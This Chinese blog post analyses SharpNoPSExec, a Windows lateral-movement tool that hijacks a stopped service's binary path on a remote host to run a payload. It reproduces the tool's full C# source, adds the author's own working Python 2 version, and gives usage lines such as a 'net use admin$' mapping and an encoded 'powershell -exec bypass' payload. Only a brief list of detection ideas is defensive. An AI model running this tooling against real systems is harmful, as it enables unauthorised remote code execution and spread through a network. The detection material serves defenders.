zoukankan      html  css  js  c++  java
  • 新型横向移动工具原理分析、代码分析、优缺点以及检测方案

    新横向移动工具:

    Twitter上看到新的横移工具,无需创建服务、无需文件落地,远比PsExec来的难以检测,我们针对这一工具进行原理分析、代码分析、优缺点评估以及检测方案:

    • 工具名称:SharpNoPSExec
    • 工具作者:juliourena
    • 下载地址:SharpNoPSExec
    • 本人修改Python简单版本的下载地址:PyNoPSExec

    基本原理分析:

    Windows服务中,每一服务都有一个可执行文件路径,这个地方可以替换成命令进行命令执行,而且这个可以远程管理,当然这里肯定需要管理员权限,不然就成了RCE漏洞了。

    我们可以远程写代码去寻找到一个处于不启动、需要手动启动,没有其他依赖关系的服务,改变这个可执行文件路径,从而执行我们的命令。

    代码分析:

    先介绍一下几个关键函数

    OpenSCManagerW:

    SC_HANDLE OpenSCManagerW(
     LPCWSTR lpMachineName,
     LPCWSTR lpDatabaseName,
     DWORD dwDesiredAccess
    );
    

    小贴士:如果第一个参数填写的是对端也就是横移目标的IP地址或机器名,需要首先在运行程序以前建立一个管理员权限,不仅仅需要知道账号密码,如何建立呢,答案也简单,建立一个共享映射

    net use \xx.xx.xx.xxadmin$ "password" /user:username
    

    然后调用两个函数LogonUserA进行凭据认证,然后进行权限模拟,还是调用我们的老朋友:ImpersonateLoggedOnUser。该函数允许用户模拟其他用户的权限进行一些操作。

    ChangeServiceConfig:

    函数原型:

    BOOL ChangeServiceConfigA(
      SC_HANDLE hService,
      DWORD     dwServiceType,
      DWORD     dwStartType,
      DWORD     dwErrorControl,
      LPCSTR    lpBinaryPathName,
      LPCSTR    lpLoadOrderGroup,
      LPDWORD   lpdwTagId,
      LPCSTR    lpDependencies,
      LPCSTR    lpServiceStartName,
      LPCSTR    lpPassword,
      LPCSTR    lpDisplayName
    );
    

    当然需要先导入函数:

    [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
    [return: MarshalAs(UnmanagedType.Bool)]
    public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType,
    int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup,
    string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword,
    string lpDisplayName);
    

    修改举例:

    string payload = "notepad.exe";
    bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null,
    null, null, null, null);
    

    然后开启服务

    函数原型:

    BOOL StartServiceA(
     SC_HANDLE hService,
     DWORD dwNumServiceArgs,
     LPCSTR *lpServiceArgVectors
    );
    

    流程分析:

    登录用户 —–> 打开远程服务 —–> 设置服务执行程序为我们的 payload —–> 开启服务
    

    程序源代码:

    然后给出源代码

    using System;
    using System.ComponentModel;
    using System.Runtime.InteropServices;
    using System.ServiceProcess;
    using System.Threading;
    
    namespace SharpNoPSExec
    {
        class ProgramOptions
        {
    	    /*参数类,主要就是用来获取命令行参数*/
            public string target;
            public string username;
            public string password;
            public string payload;
            public string service;
            public string domain;
    
            public ProgramOptions(string uTarget = "", string uPayload = "", string uUsername = "", string uPassword = "", string uService = "", string uDomain = ".")
            {
                target = uTarget;
                username = uUsername;
                password = uPassword;
                payload = uPayload;
                service = uService;
                domain = uDomain;
            }
        }
    
        class Program
        {
            [StructLayout(LayoutKind.Sequential)]
            private struct QUERY_SERVICE_CONFIG
            {
                public uint serviceType;
                public uint startType;
                public uint errorControl;
                public IntPtr binaryPathName;
                public IntPtr loadOrderGroup;
                public int tagID;
                public IntPtr dependencies;
                public IntPtr startName;
                public IntPtr displayName;
            }
    
            public struct ServiceInfo
            {
                public uint serviceType;
                public uint startType;
                public uint errorControl;
                public string binaryPathName;
                public string loadOrderGroup;
                public int tagID;
                public string dependencies;
                public string startName;
                public string displayName;
                public IntPtr serviceHandle;
            }
    
    
            [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
            public static extern Boolean ChangeServiceConfig(/*导入关键函数,下面的导入函数不在一一分析*/
                IntPtr hService,
                UInt32 nServiceType,
                UInt32 nStartType,
                UInt32 nErrorControl,
                String lpBinaryPathName,
                String lpLoadOrderGroup,
                IntPtr lpdwTagId,
                String lpDependencies,
                String lpServiceStartName,
                String lpPassword,
                String lpDisplayName);
    
            [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
            static extern IntPtr OpenService(
                IntPtr hSCManager,
                string lpServiceName,
                uint dwDesiredAccess);
    
            [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
            public static extern IntPtr OpenSCManager(
                string machineName,
                string databaseName,
                uint dwAccess);
    
            [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
            public static extern Boolean QueryServiceConfig(
                IntPtr hService,
                IntPtr intPtrQueryConfig,
                UInt32 cbBufSize,
                out UInt32 pcbBytesNeeded);
    
            [DllImport("advapi32", SetLastError = true)]
            [return: MarshalAs(UnmanagedType.Bool)]
            public static extern bool StartService(
                IntPtr hService,
                int dwNumServiceArgs,
                string[] lpServiceArgVectors);
    
            [DllImport("advapi32.dll")]
            public static extern bool LogonUserA(
                string lpszUsername,
                string lpszDomain,
                string lpszPassword,
                int dwLogonType,
                int dwLogonProvider,
                ref IntPtr phToken
            );
    
            [DllImport("advapi32.dll", SetLastError = true)]
            static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
    
            private const uint SERVICE_NO_CHANGE = 0xFFFFFFFF;
            private const uint SERVICE_DEMAND_START = 0x00000003;
            private const uint SERVICE_DISABLED = 0x00000004;
            private const uint SC_MANAGER_ALL_ACCESS = 0xF003F;
    
            enum LOGON_TYPE
            {
                LOGON32_LOGON_INTERACTIVE = 2,
                LOGON32_LOGON_NETWORK = 3,
                LOGON32_LOGON_BATCH = 4,
                LOGON32_LOGON_SERVICE = 5,
                LOGON32_LOGON_UNLOCK = 7,
                LOGON32_LOGON_NETWORK_CLEARTEXT = 8,
                LOGON32_LOGON_NEW_CREDENTIALS = 9
            }
    
            public enum LOGON_PROVIDER
            {
                /// <summary>
                /// Use the standard logon provider for the system.
                /// The default security provider is negotiate, unless you pass NULL for the domain name and the user name
                /// is not in UPN format. In this case, the default provider is NTLM.
                /// NOTE: Windows 2000/NT:   The default security provider is NTLM.
                /// </summary>
                LOGON32_PROVIDER_DEFAULT = 0,
                LOGON32_PROVIDER_WINNT35 = 1,
                LOGON32_PROVIDER_WINNT40 = 2,
                LOGON32_PROVIDER_WINNT50 = 3
            }
    
            public static ServiceInfo GetServiceInfo(string ServiceName, IntPtr SCMHandle)
            {
    	        /*定义一个服务信息查询函数,用来查询服务的基本状态,方便进行筛选和事后恢复*/
                Console.WriteLine($"    |-> Querying service {ServiceName}");
                ServiceInfo serviceInfo = new ServiceInfo();
    
                try
                {
                    IntPtr serviceHandle = OpenService(SCMHandle, ServiceName, 0xF01FF);
    
                    uint bytesNeeded = 0;
                    QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();
    
                    IntPtr qscPtr = IntPtr.Zero;
    
                    bool retCode = QueryServiceConfig(serviceHandle, qscPtr, 0, out bytesNeeded);
    
                    if (!retCode && bytesNeeded == 0)
                    {
                        throw new Win32Exception();
                    }
                    else
                    {
                        qscPtr = Marshal.AllocCoTaskMem((int)bytesNeeded);
                        retCode = QueryServiceConfig(serviceHandle, qscPtr, bytesNeeded, out bytesNeeded);
                        if (!retCode)
                        {
                            throw new Win32Exception();
                        }
                        qsc.binaryPathName = IntPtr.Zero;
                        qsc.dependencies = IntPtr.Zero;
                        qsc.displayName = IntPtr.Zero;
                        qsc.loadOrderGroup = IntPtr.Zero;
                        qsc.startName = IntPtr.Zero;
    
                        qsc = (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(qscPtr, typeof(QUERY_SERVICE_CONFIG));
                    }
    
                    serviceInfo.binaryPathName = Marshal.PtrToStringAuto(qsc.binaryPathName);
                    serviceInfo.dependencies = Marshal.PtrToStringAuto(qsc.dependencies);
                    serviceInfo.displayName = Marshal.PtrToStringAuto(qsc.displayName);
                    serviceInfo.loadOrderGroup = Marshal.PtrToStringAuto(qsc.loadOrderGroup);
                    serviceInfo.startName = Marshal.PtrToStringAuto(qsc.startName);
    
                    serviceInfo.errorControl = qsc.errorControl;
                    serviceInfo.serviceType = qsc.serviceType;
                    serviceInfo.startType = qsc.startType;
                    serviceInfo.tagID = qsc.tagID;
                    serviceInfo.serviceHandle = serviceHandle; // Return service handler
    
                    Marshal.FreeHGlobal(qscPtr);
                }
                catch (Exception)
                {
                    string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                    Console.WriteLine("
    [!] GetServiceInfo failed. Error: {0}", errorMessage);
                    Environment.Exit(0);
                }
    
                return serviceInfo;
            }
    
            public static void PrintBanner()
            {
                Console.WriteLine(@"
    ███████╗██╗  ██╗ █████╗ ██████╗ ██████╗ ███╗   ██╗ ██████╗ ██████╗ ███████╗███████╗██╗  ██╗███████╗ ██████╗
    ██╔════╝██║  ██║██╔══██╗██╔══██╗██╔══██╗████╗  ██║██╔═══██╗██╔══██╗██╔════╝██╔════╝╚██╗██╔╝██╔════╝██╔════╝
    ███████╗███████║███████║██████╔╝██████╔╝██╔██╗ ██║██║   ██║██████╔╝███████╗█████╗   ╚███╔╝ █████╗  ██║     
    ╚════██║██╔══██║██╔══██║██╔══██╗██╔═══╝ ██║╚██╗██║██║   ██║██╔═══╝ ╚════██║██╔══╝   ██╔██╗ ██╔══╝  ██║     
    ███████║██║  ██║██║  ██║██║  ██║██║     ██║ ╚████║╚██████╔╝██║     ███████║███████╗██╔╝ ██╗███████╗╚██████╗
    ╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝     ╚═╝  ╚═══╝ ╚═════╝ ╚═╝     ╚══════╝╚══════╝╚═╝  ╚═╝╚══════╝ ╚═════╝
    Version: 0.0.2
    Author: Julio Ureña (PlainText)
    Twitter: @juliourena
    ");
            }
    
            public static void PrintHelp()
            {
                Console.WriteLine(@"Usage: 
    SharpNoPSExec.exe --target=192.168.56.128 --payload=""c:windowssystem32cmd.exe /c powershell -exec bypass -nop -e ZQBjAGgAbwAgAEcAbwBkACAAQgBsAGUAcwBzACAAWQBvAHUAIQA=""
    Required Arguments:
    --target=       - IP or machine name to attack.
    --payload=      - Payload to execute in the target machine.
    Optional Arguments:
    --username=     - Username to authenticate to the remote computer.
    --password=     - Username's password.
    --domain=       - Domain Name, if no set a dot (.) will be used instead.
    --service=      - Service to modify to execute the payload, after the payload is completed the service will be restored.
    Note: If not service is specified the program will look for a random service to execute.
    Note: If the selected service has a non-system account this will be ignored.
    --help          - Print help information.
    ");
            }
    
            static void Main(string[] args)
            {
    	        /*主函数开始*/
                // example from https://github.com/s0lst1c3/SharpFinder
                ProgramOptions options = new ProgramOptions();
    
                foreach (string arg in args)//遍历参数
                {
                    if (arg.StartsWith("--target="))
                    {
                        string[] components = arg.Split(new string[] { "--target=" }, StringSplitOptions.None);
                        options.target = components[1];
                    }
                    else if (arg.StartsWith("--payload="))
                    {
                        string[] components = arg.Split(new string[] { "--payload=" },StringSplitOptions.None);
    
                        options.payload = components[1];
    
                    }
                    else if (arg.StartsWith("--username="))
                    {
                        string[] components = arg.Split(new string[] { "--username=" }, StringSplitOptions.None);
                        options.username = components[1];
                    }
                    else if (arg.StartsWith("--password="))
                    {
                        string[] components = arg.Split(new string[] { "--password=" }, StringSplitOptions.None);
                        options.password = components[1];
                    }
                    else if (arg.StartsWith("--domain="))
                    {
                        string[] components = arg.Split(new string[] { "--domain=" }, StringSplitOptions.None);
                        options.domain = components[1];
                    }
                    else if (arg.StartsWith("--service="))
                    {
                        string[] components = arg.Split(new string[] { "--service=" }, StringSplitOptions.None);
                        options.service = components[1];
                    }
                    else if (arg.StartsWith("--help"))
                    {
                        PrintBanner();
                        PrintHelp();
                        Environment.Exit(0);
                    }
                    else
                    {
                        Console.WriteLine("[!] Invalid flag: " + arg);
                        return;
                    }
                }
    
                string username = null;
                string password = null;
                string domain = null;
    
                bool result = false;
    
                if (!String.IsNullOrEmpty(options.username) && !String.IsNullOrEmpty(options.password))
                {
                    IntPtr phToken = IntPtr.Zero;
                    username = options.username;
                    password = options.password;
                    domain = options.domain;
    
                    result = LogonUserA(username, domain, password, (int)LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS, (int)LOGON_PROVIDER.LOGON32_PROVIDER_DEFAULT, ref phToken);//凭据认证
    
                    if (!result)
                    {
                        string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                        Console.WriteLine("[!] LogonUser failed. Error: {0}", errorMessage);
                        Environment.Exit(0);
                    }
    
                    result = ImpersonateLoggedOnUser(phToken);//模拟权限
                    if (!result)
                    {
                        string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                        Console.WriteLine("[!] ImpersonateLoggedOnUser failed. Error:{0}", errorMessage);
                        Environment.Exit(0);
                    }
                }
    
                if (options.target == "" || options.payload == "")
                {
                    PrintBanner();
                    PrintHelp();
                    Environment.Exit(0);
                }
    
                string target = options.target;
    
                try
                {
                    Console.WriteLine($"
    [>] Open SC Manager from {target}.");
                    IntPtr SCMHandle = OpenSCManager(options.target, null, SC_MANAGER_ALL_ACCESS);//打开服务管理游标
    
                    if (SCMHandle == IntPtr.Zero)
                    {
                        string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                        Console.WriteLine("[!] OpenSCManager failed. Error: {0}", errorMessage);
                        Environment.Exit(0);
                    }
    
                    // Open Connection to the remote machine and get all services 
                    Console.WriteLine($"
    [>] Getting services information from {target}.");
                    ServiceController[] services = ServiceController.GetServices(target);
    
                    ServiceInfo serviceInfo = new ServiceInfo();
    
                    if (options.service == "")
                    {
                        Console.WriteLine($"
    [>] Looking for a random service to execute our payload.");
    
                        Random r = new Random();
                        for (int i = 0; i < services.Length; i++)//随机获取服务进行判断
                        {
                            int value = r.Next(0, services.Length);
    
                            // Check some values to select a service to use to trigger our paylaod 
                            if (services[value].StartType == ServiceStartMode.Disabled && services[value].Status == ServiceControllerStatus.Stopped && services[value].ServicesDependedOn.Length == 0)//ServiceStartMode.Disabled禁用的服务 ServiceControllerStatus.Stopped目前状态是停止的服务
                            {
                                serviceInfo = GetServiceInfo(services[value].ServiceName, SCMHandle);
    
                                if (serviceInfo.startName.ToLower() == "localsystem")
                                {
                                    Console.WriteLine($"    |-> Service {services[value].ServiceName} authenticated as {serviceInfo.startName}.");
                                    break;
                                }
                            }
                        }
                        
                        serviceInfo = new ServiceInfo();
    
                        // If not service was found search for services with start mode manual, stopped without dependencies. 
                        if (serviceInfo.displayName == null)
                        {
                            for (int i = 0; i < services.Length; i++)
                            {
                                int value = r.Next(0, services.Length);
                                // Check some values to select a service to use to trigger our paylaod (Manual Services) 
                                if (services[value].StartType == ServiceStartMode.Manual && services[value].Status == ServiceControllerStatus.Stopped && services[value].ServicesDependedOn.Length == 0)//ServiceStartMode.Manual手动启动的服务
                                {
                                    serviceInfo = GetServiceInfo(services[value].ServiceName, SCMHandle);
    
                                    if (serviceInfo.startName.ToLower() == "localsystem")
                                    {
                                        Console.WriteLine($"    |-> Service {services[value].ServiceName} authenticated as {serviceInfo.startName}.");
                                        break;
                                    }
                                }
                            }
                        }
                        if (serviceInfo.displayName == "")
                        {
                            Console.WriteLine($"[!] No service found that met the default conditions, please select the service to run.");
                            Environment.Exit(0);
                        }
                    }
                    else
                    {
                        Console.WriteLine($"
    [>] Checking if service {options.service} exists.");
    
                        bool found = false;
                        // Check if --server=value exits. 
                        foreach (var service in services)
                        {
                            if (service.ServiceName == options.service)
                                found = true;
                        }
    
                        if (found)
                        { 
                            serviceInfo = GetServiceInfo(options.service, SCMHandle);//查询服务信息
                            if (serviceInfo.startName.ToLower() == "localsystem")
                            {
                                Console.WriteLine($"    |-> Service {options.service} authenticated as {serviceInfo.startName}.");
                            }
                            else
                            {
                                Console.WriteLine($"
    [!] The service {options.service} is authenticated {serviceInfo.displayName} aborting to not lose the account.");
                                Environment.Exit(0);
                            }
                        }
                        else
                        {
                            Console.WriteLine($"    |-> Service not found {options.service}.");
                            Environment.Exit(0);
                        }
                    }
    
    
                    string previousImagePath = serviceInfo.binaryPathName;
    
                    Console.WriteLine($"
    [>] Setting up payload.");
    
                    string payload = options.payload;
    
                    Console.WriteLine($"    |-> payload = {payload}");
    
                    Console.WriteLine($"    |-> ImagePath previous value = {previousImagePath}.");
    
                    // Modify the service with the payload
                    Console.WriteLine($"    |-> Modifying ImagePath value with payload.");
    
                    result = ChangeServiceConfig(serviceInfo.serviceHandle, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, payload, null, IntPtr.Zero, null, null, null, null);//修改可执行文件路径
    
                    if (!result)
                    {
                        string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                        Console.WriteLine("[!] ChangeServiceConfig failed. Error: {0}", errorMessage);
                        Environment.Exit(0);
                    }
    
                    Console.WriteLine($"
    [>] Starting service {serviceInfo.displayName} with new ImagePath.");
    
                    result = StartService(serviceInfo.serviceHandle, 0, null);//启动服务
    
                    //if(!result)
                        //Console.WriteLine($"    |-> Possible command execution completed.");
    
    
                    // Wait 5 seconds before restoring the values
                    Console.WriteLine($"
    [>] Waiting 5 seconds to finish.");
                    Thread.Sleep(5000);
    
                    Console.WriteLine($"
    [>] Restoring service configuration.");
    
                    result = ChangeServiceConfig(serviceInfo.serviceHandle, SERVICE_NO_CHANGE, serviceInfo.startType, 0, previousImagePath, null, IntPtr.Zero, null, serviceInfo.startName, null, null);//复原原来的可执行文件路径避免引起问题
                    if (!result)
                    {
                        string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
                        Console.WriteLine("[!] ChangeServiceConfig failed. Error: {0}", errorMessage);
                        Environment.Exit(0);
                    }
                    else
                    {
                        Console.WriteLine($"    |-> {serviceInfo.displayName} Log On => {serviceInfo.startName}.");
                        Console.WriteLine($"    |-> {serviceInfo.displayName} status => {serviceInfo.startType}.");
                        Console.WriteLine($"    |-> {serviceInfo.displayName} ImagePath => {previousImagePath}");
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("
    [!] General Error: {0}
    ", ex.Message);
                }
            }
        }
    }
    

    测试:

    .SharpNoPSExec.exe --target=xx.xx.xx.xx --payload="c:windowssystem32cmd.exe /c powershell -nop ..."
    
    • 案例一 上线

    • 案例二 远程执行命令

    优缺点评测:

    • 优点:
      • 无文件落地
      • 无服务创建
    • 缺点:
      • 敏感操作,主防拦截
      • 横向移动需要建立共享(检测异常共享可以检测到)
      • 速度很慢,至少我们测试的速度很慢

    检测方案建议:

    • 将远程服务查询和修改列为敏感操作,在主防中进行配置,或者在自研后者采购HIDS时候提出该功能需求。
    • HIDS HOOK 敏感函数进行检测ChangeServiceConfigA
    • 检测异常共享或者IPC通信
    • 检测进程启动异常(尤其是 事件ID 7009 程序异常ERROR 1053)

    本人修改写了一版基于Python2的具备基本横移功能的简单版

    # -*- coding:utf-8 -*-
    # Author: bobac
    # Reference: SharpNoPSExec Twitter: @juliourena
    # Version: v1.0
    # Lateral Movement Tools
    
    # Include Lib Files Or Packages
    import ctypes
    from ctypes import wintypes
    from optparse import OptionParser
    
    # Export Functions From
    LogonUser = ctypes.windll.advapi32.LogonUserW
    ImpersonateLoggedOnUser = ctypes.windll.advapi32.ImpersonateLoggedOnUser #
    OpenSCManager = ctypes.windll.advapi32.OpenSCManagerW
    OpenService = ctypes.windll.advapi32.OpenServiceW
    ChangeServiceConfig = ctypes.windll.advapi32.ChangeServiceConfigW
    StartService = ctypes.windll.advapi32.StartServiceA
    GetLastError = ctypes.windll.kernel32.GetLastError
    
    # Defined Some Global Variables
    Token = ctypes.wintypes.HANDLE()
    
    if __name__ == '__main__':
        parser = OptionParser()
        parser.add_option("-t", "--target", dest="target", help="Please Input Target Machinename Or Ip Address!")
        parser.add_option("-d", "--domain", dest="domain", help="Please Input Domain!")
        parser.add_option("-u", "--username", dest="username", help="Please Input Username!")
        parser.add_option("-p", "--password", dest="password", help="Please Input Password!")
        parser.add_option("-s", "--service", dest="service", help="Please Input Service Name!")
        parser.add_option("-e", "--exploit", dest="exploit", help="Please Input Exploit Payload!")
        (options, args) = parser.parse_args()
    
        if options.target in [None, "", " "]:
            print "[-] Please Input Target Machinename Or Ip Address!"
            exit(0)
    
        if options.service in [None, "", " "] or options.exploit in [None, "", " "]:
            print "[-] Please Check Service Name And Exploit Payload!"
            exit(0)
    
        if options.domain in [None, "", " "] or options.username in [None, "", " "] or options.password in [None, "", " "]:
            print "[-] Please Check Username And Password And Domain Information!"
            exit(0)
    
        print "[+] Target: %s" % str(options.target)
    
        domain = ctypes.wintypes.LPCWSTR(options.domain)
        username = ctypes.wintypes.LPCWSTR(options.username)
        password = ctypes.wintypes.LPCWSTR(options.password)
        logon_type = ctypes.wintypes.DWORD(2)
        provider = ctypes.wintypes.DWORD(0)
        result = LogonUser(username, domain, password, logon_type, provider, ctypes.byref(Token))
        if result == 0:
            error = GetLastError()
            print "[-] Logon Failed! We Get Windows System Error: %s" % str(error)
            exit(0)
        else:
            print "[+] Logon Succeed!"
    
        result = ImpersonateLoggedOnUser(Token)
        if result == 0:
            error = GetLastError()
            print "[-] ImpersonateLoggedOnUser Failed! We Get Windows System Error: %s" % str(error)
            exit(0)
        else:
            print "[+] ImpersonateLoggedOnUser Succeed!"
    
        target = ctypes.wintypes.LPCWSTR(options.target)
        desired_access = ctypes.wintypes.DWORD(0xF003F)
        result = OpenSCManager(target, None,  desired_access)
        if result == 0:
            error = GetLastError()
            if error == 5:
                print "[-] We Need Administrator Privilege!"
                exit(0)
            else:
                print "[-] We Get Windows System Error: %s"%str(error)
                exit(0)
        else:
            print "[+] OpenSCManager Succeed!"
    
        scm_handle = ctypes.wintypes.SC_HANDLE(result)
        name = ctypes.wintypes.LPCWSTR(options.service)
        desired_access = ctypes.wintypes.DWORD(0xF01FF)
        service = OpenService(scm_handle, name, desired_access)
    
        print "[+] We Got Exploit Payload: %s"%str(options.exploit)
    
        service_type = ctypes.wintypes.UINT(0xFFFFFFFF)
        start_type = ctypes.wintypes.UINT(0x00000003)
        payload = ctypes.wintypes.LPCWSTR(options.exploit)
        result = ChangeServiceConfig(service, service_type, start_type, 0, payload, None, 0, None, None, None, None)
        if result == 0:
            error = GetLastError()
            print "[-] ChangeServiceConfig Failed! We Get Windows System Error: %s" % str(error)
            exit(0)
        else:
            print "[+] ChangeServiceConfig Succeed!"
    
        result = StartService(service, 0, None)
        error = GetLastError()
        if error == 1053:
            print "[+] Lateral Movement Is Succeed!"
        else:
            print "[-] We Got Windows System Error: %s"%str(error)
    
    博主简介:博主国内安全行业目前最强大的网络安全公司做技术研究员,常年做技术工作。 获得过以下全国竞赛大奖: 《中国电子作品大赛一等奖》 《云计算技术大赛一等奖》 《AIIA人工智能大赛优胜奖》《网络安全知识竞赛一等奖》 《高新技术个人突出贡献奖》,并参与《虚拟化技术-**保密**》一书编写,现已出版。还拥有多项专利,多项软件著作权! 且学习状态上进,立志做技术牛逼的人。座右铭:在路上,永远年轻,永远热泪盈眶。可邮件联系博主共同进步,个人邮箱:pigeon_code@163.com
  • 相关阅读:
    Linux踩坑填坑记录
    Scala安装后,在IDEA中配置
    Centos 搭建Hadoop
    conductor FAQ
    conductor Workflow Metrics
    conductor APIs
    Extending Conductor
    conductor任务域
    Conductor Task Workers
    Conductor Server
  • 原文地址:https://www.cnblogs.com/mutudou/p/15029664.html
Copyright © 2011-2022 走看看